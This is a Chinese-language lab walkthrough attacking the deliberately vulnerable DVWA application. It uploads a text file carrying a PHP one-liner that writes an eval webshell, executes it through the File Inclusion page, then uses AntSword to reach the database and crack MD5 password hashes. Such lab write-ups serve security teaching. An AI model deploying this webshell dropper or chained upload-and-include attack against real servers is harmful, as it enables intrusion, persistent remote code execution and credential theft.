一、实验环境+工具
环境搭建:
-
VMware Workstation
-
OWASP-bwa
工具
- AntSword
二、具体步骤演示
2.1 打开虚拟机并登入 DVWA
这次还是在 low等级下 (其他 security 只是绕过问题,不影响操作解释)
解释 文件包含 include
在C语言中文件包含是指一个源文件可以将另一个源文件的全部内容包含进来。
该命令的作用是在预编译时,将指定源文件的内容复制到当前文件中。
文件包含是C语言预处理命令三个内容之一。
写过C的应该知道 C里面的代码 一般都有 include<file>
这就是 包含
通俗点讲,就是系统会编译文件里的内容 include->执行
2.2 通过 Upload 上传一个 .txt 文件
这不是一个普通的txt文件,里面其实包含了一句话木马
<?fputs(fopen("shell01.php","w"),'<?php @eval($_POST[caidao]);?>')?>
这句话的意思是,我们先打开或新建一个 shell01.php 的文件
然后在php文件里写入 <?php @eval($_POST[caidao]);?> 这条语句
上传完成后,可以去服务器上传漏洞文件目录下 看看是否有test.txt文件
这里,其实我们也可以通过网页查看
文件上传目录: /var/www/dvwa/hackable/uploads
文件包含的目录: /var/www/dvwa/vulnerabilities/fi
2.3 通过 File Inclusion 来编译 test.txt 里的一句话木马
链接:http://192.168.47.130/dvwa/vulnerabilities/fi/?page=/var/www/dvwa/hackable/uploads/test.txt
在文件包含页面url的基础上 将 include.php 换成 test.txt 的路径
访问页面成这样 (属于正常现象)
**去服务器目录下看是否生成了 shell01.php **
此时去的是文件包含的文件目录下
/var/www/dvwa/vulnerabilities/fi
发现成功生成
为了确保 我们可以 more shell01.php 查看是否含有一句话木马
2.4 通过蚁剑去连接访问 shell01.php
这里我就不详写了哈,这和前面写过的 upload 漏洞类似
参考转: https://blog.youkuaiyun.com/qq_42342141/article/details/102815402
2.5 e.g.数据库操作
右键 --> 数据库操作
添加 --> 填写信息–>添加
选择要管理的数据库类型。对于 MySQL 数据库,选择时依据如下:
MySQL (PHP < 5.5.0)
MYSQLI(PHP >= 5.2.9)
查看php版本 : php -version
至此成功拿到服务器数据库了!!!
利用相关的查询语句可以看到某些重要信息
MD5解密即可得到登入密码!!!
以上仅用于学习,不可用于恶意意图!